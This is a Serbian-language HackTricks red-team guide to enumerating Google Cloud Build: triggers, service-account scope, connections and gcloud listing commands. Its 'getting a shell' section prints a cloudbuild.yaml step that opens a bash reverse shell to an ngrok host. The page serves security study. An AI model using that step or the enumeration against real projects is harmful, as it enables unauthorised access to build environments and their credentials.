GCP - Cloud Build Enum

Reading time: 6 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Osnovne informacije

Google Cloud Build je upravljana CI/CD platforma koja automatski gradi i objavljuje softver, integrišući se sa repozitorijumima izvornog koda i podržavajući širok spektar programskih jezika. Omogućava programerima da automatski grade, testiraju i implementiraju kod dok pruža fleksibilnost za prilagođavanje koraka izgradnje i radnih tokova.

Svaki Cloud Build Trigger je povezan sa Cloud Repozitorijumom ili direktno povezan sa spoljnim repozitorijumom (Github, Bitbucket i Gitlab).

tip

Nisam mogao da vidim nijedan način da ukradem Github/Bitbucket token odavde ili iz Cloud Repozitorijuma jer kada se repo preuzme, pristupa mu se putem https://source.cloud.google.com/ URL-a i Github se ne pristupa od strane klijenta.

Događaji

Cloud Build može biti pokrenut ako:

  • Push na granu: Odredite granu
  • Push novog taga: Odredite tag
  • Pull request: Odredite granu koja prima PR
  • Ručno pozivanje
  • Pub/Sub poruka: Odredite temu
  • Webhook događaj: Izložiće HTTPS URL i zahtev mora biti autentifikovan tajnom

Izvršenje

Postoje 3 opcije:

  • Yaml/json koji specificira komande za izvršenje. Obično: /cloudbuild.yaml
  • Samo jedan koji može biti specificiran “inline” u web konzoli i u cli
  • Najčešća opcija
  • Relevantno za neautentifikovani pristup
  • Dockerfile za izgradnju
  • Buildpack za izgradnju

SA Dozvole

Servisni nalog ima cloud-platform opseg, tako da može koristiti sve privilegije. Ako nije specificiran SA (kao kada se radi submit) koristiće se podrazumevani SA <proj-number>@cloudbuild.gserviceaccount.com.

Podrazumevano, nijedna dozvola nije data, ali je prilično lako dati neke:

Odobrenja

Moguće je konfigurisati Cloud Build da zahteva odobrenja za izvršenja izgradnje (onemogućeno podrazumevano).

PR Odobrenja

Kada je okidač PR, jer bilo ko može da izvrši PR-ove na javnim repozitorijumima, bilo bi veoma opasno samo dozvoliti izvršenje okidača sa bilo kojim PR-om. Stoga, podrazumevano, izvršenje će biti automatsko samo za vlasnike i saradnike, a da bi se izvršio okidač sa PR-ovima drugih korisnika, vlasnik ili saradnik mora komentarisati /gcbrun.

Povezivanja i Repozitorijumi

Povezivanja se mogu kreirati preko:

  • GitHub: Prikazaće OAuth prompt koji traži dozvole za dobijanje Github tokena koji će biti sačuvan unutar Secret Manager-a.
  • GitHub Enterprise: Tražiće da se instalira GithubApp. Token za autentifikaciju sa vašeg GitHub Enterprise hosta biće kreiran i sačuvan u ovom projektu kao Secret Manager tajna.
  • GitLab / Enterprise: Morate obezbediti API pristupni token i Read API pristupni token koji će biti sačuvani u Secret Manager-u.

Kada se povezuje, možete ga koristiti za povezivanje repozitorijuma kojima Github nalog ima pristup.

Ova opcija je dostupna putem dugmeta:

tip

Imajte na umu da su repozitorijumi povezani ovom metodom samo dostupni u Trigerima koristeći 2. generaciju.

Povezivanje Repozitorijuma

Ovo nije isto što i povezivanje. Ovo omogućava različite načine za dobijanje pristupa Github ili Bitbucket repozitorijumu, ali ne generiše objekat povezivanja, već generiše objekat repozitorijuma (1. generacija).

Ova opcija je dostupna putem dugmeta:

Skladištenje

Ponekad Cloud Build će generisati novo skladište za čuvanje datoteka za okidač. To se dešava, na primer, u primeru koji GCP nudi sa:

bash
git clone https://github.com/GoogleCloudBuild/cloud-console-sample-build && \
cd cloud-console-sample-build && \
gcloud builds submit --config cloudbuild.yaml --region=global

Kreiran je Storage bucket pod nazivom security-devbox_cloudbuild za čuvanje .tgz datoteke sa datotekama koje će se koristiti.

Dobijanje shel-a

yaml
steps:
- name: bash
script: |
#!/usr/bin/env bash
bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/12395 0>&1
options:
logging: CLOUD_LOGGING_ONLY

Instalirajte gcloud unutar cloud build:

bash
# https://stackoverflow.com/questions/28372328/how-to-install-the-google-cloud-sdk-in-a-docker-image
curl https://dl.google.com/dl/cloudsdk/release/google-cloud-sdk.tar.gz > /tmp/google-cloud-sdk.tar.gz
mkdir -p /usr/local/gcloud
tar -C /usr/local/gcloud -xvf /tmp/google-cloud-sdk.tar.gz
/usr/local/gcloud/google-cloud-sdk/install.sh

Enumeration

Možete pronaći osetljive informacije u konfiguracijama gradnje i logovima.

bash
# Get configured triggers configurations
gcloud builds triggers list # Check for the words github and bitbucket
gcloud builds triggers describe <trigger-name>

# Get build executions
gcloud builds list
gcloud builds describe <build-uuid> # Get even the build yaml if defined in there
gcloud builds log <build-uuid> # Get build logs

# List all connections of each region
regions=("${(@f)$(gcloud compute regions list --format='value(name)')}")
for region in $regions; do
echo "Listing build connections in region: $region"
connections=("${(@f)$(gcloud builds connections list --region="$region" --format='value(name)')}")
if [[ ${#connections[@]} -eq 0 ]]; then
echo "No connections found in region $region."
else
for connection in $connections; do
echo "Describing connection $connection in region $region"
gcloud builds connections describe "$connection" --region="$region"
echo "-----------------------------------------"
done
fi
echo "========================================="
done

# List all worker-pools
regions=("${(@f)$(gcloud compute regions list --format='value(name)')}")
for region in $regions; do
echo "Listing build worker-pools in region: $region"
gcloud builds worker-pools list --region="$region"
echo "-----------------------------------------"
done

Eskalacija privilegija

GCP - Cloudbuild Privesc

Neautentifikovani pristup

GCP - Cloud Build Unauthenticated Enum

Post eksploatacija

GCP - Cloud Build Post Exploitation

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks